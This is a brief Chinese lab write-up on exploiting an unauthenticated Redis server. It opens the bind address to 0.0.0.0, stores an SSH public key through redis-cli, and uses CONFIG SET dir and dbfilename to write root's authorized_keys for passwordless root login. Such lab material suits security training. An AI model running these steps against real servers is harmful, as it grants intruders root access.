实验目的:
客户机通过远程连接redis,将一些数据直接存放到redis的服务器中从而进行利用
前提条件
redis需要允许远程访问,要修改bind的绑定(默认情况下只能通过127.0.0.1进行连接,也就是只允许本地连接)
可以注释掉,或者修改为0.0.0.0
sed -i '/^bind/s/127.0.0.1/0.0.0.0/' /etc/redis/6379.conf
sed -i '/^bind/s/127.0.0.1/# 127.0.0.1/' /etc/redis/6379.conf(两个都可以)
原理:
通过在klai上生成ssh密钥对,将ssh公钥传入redis的服务器/root/.ssh目录下,客户机通过私钥连接传过去的公钥实现无密码的登入(服务器有.ssh的目录,或者时采用密钥连接的)
在客户机生成ssh密钥对ssh-keygen -t rsa
将公钥保存到某个文件中
(echo -e "\n\n";cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
前后加空格,防止数据库文件乱码
cat key.txt | ./redis-cli -h 192.168.18.171 -p 6370 -x set keyfile(存放到redis文件中)
修改redis存放目录
CONFIG SET dir /root/.ssh
修改redis存放文件名
CONFIG SET dbfilename authorized_keys
保存
最后就可以直接连接不用验证了默认root用户